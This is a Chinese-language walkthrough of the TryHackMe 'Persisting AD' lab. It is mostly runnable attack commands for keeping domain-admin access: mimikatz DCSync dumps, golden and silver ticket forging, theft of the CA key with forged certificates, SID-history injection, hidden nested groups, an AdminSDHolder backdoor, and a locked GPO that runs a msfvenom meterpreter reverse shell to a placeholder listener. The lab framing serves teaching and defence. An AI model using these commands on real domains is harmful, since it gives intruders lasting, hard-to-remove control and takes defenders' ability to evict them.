在攻击AD的过程中,我们需要确保部署持久性。这将确保蓝队无法通过简单地轮换一些凭证来将我们踢出局。这确保了如果我们的一个位置被蓝队烧毁,我们有几个后备方案。在此持久阶段,我们将使用多种技术来确保我们获得的访问权限不会被简单地撤销。这些持久性技术取决于我们迄今为止获得的特定权限和特权。
我们将讨论的第一个也是最不可靠的持久性技术是凭证。一些横向技术可能会导致攻击者获得凭证的访问权限。当使用“凭据”一词时,它可能意味着用户名和密码对,但在AD持久化中,即使是密码哈希也足以通过哈希传递技术进行身份验证。
在大型组织中,每个域只有一个域控制器是不够的。这些域通常在多个区域位置使用,并且拥有单个DC会显着延迟 AD 中的任何身份验证服务。因此,这些组织使用多个 DC。那么问题就变成了,您如何在两个不同的办公室使用相同的凭据进行身份验证?
这个问题的答案是域复制。每个域控制器都运行一个称为知识一致性检查器 (KCC) 的进程。KCC为AD林生成复制拓扑,并通过远程过程调用(RPC)自动连接到其他域控制器以同步信息。这包括更新的信息,例如用户的新密码和新对象,例如创建新用户的时间。这就是为什么您在更改密码后通常必须等待几分钟才能进行身份验证,因为发生密码更改的 DC 可能与您进行身份验证的 DC 不同。
复制过程称为DC同步。不仅仅是 DC 可以启动复制。属于域管理员组的帐户也可以出于合法目的(例如创建新的域控制器)执行此操作。
一种流行的攻击是DC同步攻击。如果我们有权访问具有域复制权限的帐户,我们可以发起 DC 同步攻击以从 DC 获取凭据。
虽然我们应该始终寻求转储特权凭据,(转储特权凭据指的是 这些特权凭据可能是明文密码、哈希密码或其他形式的验证信息,可以通过PTH的方式等),但也是蓝队首要轮换的特权凭据(蓝队术语,重置密码)。所以如果我们只有特权凭据,那么蓝队一旦发现将会轮换这些账户,我们就会失去访问的权限。
所以我们的目标就是拥有接近特权的凭证。并不需要王国的完整钥匙,只需要足够的钥匙来确保我们仍然能够实现目标执行。我们可以通过以下凭据持久保持:
我们可以使用 mimikatz来同步DC的所有凭据,运行以下命令,启动mimikatz工具:
powershell -ep bypass
mimikatz.exe
对单个账户执行DC同步
lsadump::dcsync /domain:za.tryhackme.loc /user:test
lsadump::dcsync /domain:za.tryhackme.loc /all
Kerberos 身份验证的正常流程:
首先用户向DC上的密钥分发中心(KDC)发出TGT请求,DC检查信息后将TGT发送给用户。这个TGT的使用仅存储在DC上的KRBTGT账户的密码哈希进行签名,当用户发送此TGT到DC的时候,可以请求用户想要访问的资源的票证授予服务(TGS)。当TGT签出时,DC会响应用户请求访问的服务并且发送NTLM哈希加密的TGS。最后用户将TGS发送给服务,服务将会验证TGS,因为它知道自己的哈希值并可以授予用户访问权限。
原理是伪造TGT,绕过请求TGT和响应TGT的步骤,向DC证明我们是谁。拥有了特权账户的有效TGT,我们就可以为任何想要的服务请求TGS。伪造票据需要 KRBTGT账户的密码哈希,以便我们可以为想要的任何账户签署TGT。
一些关于黄金票据的说明:
除了 KRBTGT 帐户的密码哈希之外,我们只需要要模拟的人的域名、域 SID 和用户 ID。
银票是伪造的 TGS 票,它将跳过请求TGT和TGS以及响应的步骤。只需要直接访问的服务进行交互。关于银票的一些说明:
生成金票和银票将需要KRBTGT账户的NTLM哈希值,我们可以通过DC同步获取该哈希值。生成银票需要与当前计算机账户关联的NTLM哈希值。
运行以下命令获取活动目录信息:
Get-ADDomain
kerberos::golden /admin:cike /domain:za.tryhackme.loc /id:500 /sid: /krbtgt: /endin:600 /renewmax:10080 /ptt
如果默认不添加票证有效期,默认是10年:
验证票据是否可以正常运行:
dir \\xxx\c$\
即使金票的时间非常长,蓝队仍然可以通过简单地轮换 KRBTGT 密码两次来防御这一点。如果使用银票,这种票据不太可能被发现,而且更加难防御,因为每个机器账户的密码必须轮换。
首先DC同步获取DC机器的NTLM值:
lsadump::dcsync /domain:za.tryhackme.loc /user:thmdc$
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:thmdc.za.tryhackme.loc /rc4:39f46ddb810ea482850bb93f4c1e4cc5 /service:cifs /ptt
蓝队必须对KRBTGT 帐户的密码轮换两次,然后还需要对每个机器账户的密码进行轮换,才能删除金票和银票。
根据我们当前用户的访问权限,我们可以更进一步,窃取根CA证书的私钥,然后通过这个私钥来生成证书。但是由于CA从未颁发这些证书,所以蓝队没有能力撤销它们。蓝队必须吊销根 CA 证书,但是吊销这个证书意味着AD CS颁发的所有证书都会突然失效。这意味着他们必须为每个使用 AD CS 的系统生成新证书
ForgeCert
https://github.com/GhostPack/ForgeCert
Rubeus
https://github.com/GhostPack/Rubeus
由于Active Directory 证书服务 (AD CS)服务正在域控制器上运行,所以我们必须要在此主机上进行攻击,也就是在域控机子上。
查看存储在DC上的证书,运行以下命令:
crypto::certificates /systemstore:local_machine
我们可以看见DC上有CA证书,但是有一些证书被设置为不允许我们导出密钥。如果没有这个密钥,我们将无法生成新的证书。可以使用 mimikatz 运行以下命令来修补内存,使这些密钥可导出:
crypto::capi
crypto::cng
如果遇见报错,说明了之前以及执行了该修补。修补这些服务之后,使用以下命令导出证书:
crypto::certificates /systemstore:local_machine /export
导出的证书将以 PFX 和 DER 格式存储到当前目录下
我们所需的证书是 za-THMDC-CA.pfx,为了导出私钥,必须使用密码对证书进行加密。默认情况下,Mimikatz 分配的密码为mimikatz。这时候我们将把这个证书复制在低权限的账户下
使用 ForgeCert 工具,为我们的域账户管理员生成一个新的证书:
ForgeCert.exe --CaCertPath C:\Users\georgia.cross\Desktop\local_machine_My_1_za-T
HMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAd
min.pfx --NewCertPassword Password123
这时候在使用 Rubeus 工具来使用证书请求 TGT,使用以下命令:
Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:administrator.ki
rbi /domain:za.tryhackme.loc /dc:10.200.86.101
最后再使用mimikatz加载TGT:
kerberos::ptt administrator.kirbi
由于我们导出了 CA 并自己生成了证书,因此它不会出现在 AD CS 的已颁发证书列表中,这意味着蓝队将无法撤销我们的证书。蓝队必须为每个系统生成新的证书,意味着完全重建系统,所以这种类型的持久性非常危险。
SID 用于在连接到资源时跟踪安全主体和帐户的访问权限。我们可以将域控主机的SID历史记录复制到低权限的账户下,从而实现持久性。
关于这种持久性技术的一些有趣的注释:
DSInternals
https://github.com/MichaelGrafnetter/DSInternals
首先登录域管理员账户,然后查看低权限账户的SID的历史记录,从域中检索用户对象的信息。使用以下命令:
Get-ADUser <查看的用户名> -properties sidhistory,memberof
Get-ADGroup "Domain Admins"
我们将使用DSInternals工具直接修补 ntds.dit 文件,即存储所有信息的AD数据库:
Stop-Service -Name ntds -force
Add-ADDBSidHistory -SamAccountName '低权限账户' -SidHistory '域管理组的SID记录' -DatabasePath C:\Windows\NTDS\ntds.dit
Start-Service -Name ntds
添加SID记录之前,首先需要关闭 ntds数据库,然后再添加,最后启动ntds数据库。查看低权限账户,可以发现 SIDHistory已经是域管理组的SID了
这时候登录账户,可以发现低权限账户可以对域控进行权限操作了
蓝队可以使用 AD-RSAT PowerShell cmdlet 等工具来删除 SID 历史记录,在考虑删除恶意 SID 历史属性之前,您首先需要找到它们。任何常规工具都不会告诉您出现问题。除非您主动过滤用户的属性,否则很难找到它。这是因为 SID 历史记录仅在用户通过身份验证后才会应用和使用。
最具特权的帐户或组并不总是最适合用于持久性。特权群体比其他群体受到更密切的变化监控。任何归类为受保护组的组(例如域管理员或企业管理员)都会接受额外的安全审查。如果我们想通过组成员的身份来保持持久性,我们可以添加低权限账户来实现:
在大多数组织中,都有大量的递归组。递归组是属于另一个组的成员的组。当新成员添加到域管理员组时,蓝队会触发一个警报。这是一个很好的警报,但如果将用户添加到域管理员组内的子组,则不会触发该警报。所以我们可以利用这点将自己的低权限账户添加到不受监控的子组,我们只需要父组是域管理员组就可以了。
在域控管理员的情况下,使用powershell运行以下命令:
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "1" -SamAccountName "1" -DisplayName "1" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "2" -SamAccountName "2" -DisplayName "2" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "3" -SamAccountName "3" -DisplayName "3" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "4" -SamAccountName "4" -DisplayName "4" -GroupScope Global -GroupCategory Security
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "5" -SamAccountName "5" -DisplayName "5" -GroupScope Global -GroupCategory Security
然后现在添加组,运行以下命令:
Add-ADGroupMember -Identity '2' -Members '1'
Add-ADGroupMember -Identity '3' -Members '2'
Add-ADGroupMember -Identity '4' -Members '3'
Add-ADGroupMember -Identity '5' -Members '4'
Add-ADGroupMember -Identity 'Domain Admins' -Members '5'
Add-ADGroupMember -Identity '1' -Members 'grace.clarke'
主要意思是,将1组添加到2组,然后2组添加到3组,以此类推…然后最后一个组添加到域管理员组,最后将低权限用户添加到子组1,所以它享受到了父组的权限,相当于子1组 = 5组 = 域管理员组
最后登录低权限账户进行验证,可以发现对域控已经有授权了
最后我们在进行验证,即使创建了多个组,Domain Admins组也只有一名成员用户,还有一个新组
Get-ADGroupMember -Identity "Domain Admins"
如果是一个真正的组织,我们不应该创建新的组织来嵌套,相反的,应该是使用现有的组来执行嵌套。但是在正常红队中,这是我们不应该做到,它将会对AD进行结构的破坏。如果蓝队反制,将要删除我们成员的资格。这些组这些组都将无法恢复。该组织需要重建整个AD结构,造成重大损失。
为了确保更好的持久性并让蓝队摸不着头脑,我们应该注入生成默认组的模板。通过注入这些模板,即使他们删除了我们的会员资格,我们只需要等到模板刷新,我们就会再次被授予会员资格。
AdminSDHolder 容器就是这样的模板之一。该容器存在于每个 AD 域中,并使用其访问控制列表 (ACL) 作为模板,将权限复制到所有受保护的组。具体可以参考这个链接:
https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10)
名为 SDProp 的进程每 60 分钟获取 AdminSDHolder 容器的 ACL 并将其应用于所有受保护组,我们可以授予保护组中来添加成员,给予完全权限从而实现持久性。
首先在cmd命令行输入 mmc.exe打开控制台。
这时候如图,添加Active Directory 用户和计算机
双击 Active Directory 用户和计算机选项,然后在查看选项中点击启用高级功能。
然后来到System下的 AdminSDHolder Properties,然后右键属性在 安全中添加一个低权限的用户
然后为该账户添加所有权限
现在我们只需要等待60分钟,我们的低权限账户就可以完全控制所有保护的组。这是因为安全描述符传播器 (SDProp) 服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组。如果不想等待,我们可以手动启用这个脚本,下载地址:
https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1
使用以下命令:
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation
可以看见 Domain Admins组中的安全属性以及存在该用户了
现在我们非特权用户授予了AdminSDHolder 模板的完全控制权。我们可以简单的将自己添加为保护组的成员。使用以下命令将非特权用户,添加至 Domain Admins组
Add-ADGroupMember -Identity 'Domain Admins' -Members 'sean.hopkins'
移除该组的恶意用户,或者更改域中所有用户的凭据。
AD 中的组策略管理提供了一个中央机制来管理所有加入域的计算机的本地策略配置。攻击者可以将其作为目标,在整个资产中部署持久性。更糟糕的是,攻击者经常可以隐藏 GPO,使其几乎无法删除。
使用MSF创建shell
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=4444 -f exe -o a.exe
创建bat 脚本:
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\a.exe C:\tmp\a.exe && timeout /t 20 && C:\tmp\a.exe
该脚本会将二进制文件从 SYSVOL 目录复制到域控的本地计算机,然后等待 20 秒,最后执行该二进制文件。
利用管理员凭据将两个恶意文件复制到 SYSVOL目录中:
这时候准备好 MSF 监听器。
使用域管理员凭据打开mmc控制台,Win + r 输入 mmc。然后添加组策略管理管理单元:单击文件->添加/删除管理单元
然后来到 Admins右键创建GPO
名字随意
这时候编辑刚刚创建的 GPO:test
添加我们之前放入的恶意脚本 a.bat
由于我们设置的GPO是应用于所有管理员下的,所以当管理员用户登陆的时候,我们将接收到一个管理组用户的反向shell
不过我们还需要创建一个登录时间供 GPO 执行。如果管理员关闭了RDP 会话,将执行断开连接,这意味着它不会触发 GPO,我们的shell也会中断
现在我们的持久性正在发挥作用,为了确保蓝队不能简单地消除我们的持久性,我们返回 MMC 窗口,选择 委派 Delegation,然后点击高级选项:
将“企业域控制器”设置为“编辑设置、删除、修改安全性”
删除所有其他用户,只剩下如图的三个,添加域计算机,以便他们可以读取策略并提取脚本
这时候任何人或者自己,也无法查看和编辑策略
再次登录域管理员账户,rdp连接,可以看见反向shell依旧成功
当我们使用域管理账户对它进行删除,发现没有权限
删除此GPO的唯一方法是使用域控制器的计算机账户来进行操作。
关于一些其他的技术:
万能钥匙
https://stealthbits.com/blog/unlocking-all-the-doors-to-active-directory-with-the-skeleton-key-attack/
目录服务还原模式 (DSRM)
https://adsecurity.org/?p=1714
恶意安全支持提供程序 (SSP)
https://adsecurity.org/?p=1760
计算机帐户
https://adsecurity.org/?p=2753
参考:
https://tryhackme.com/room/persistingad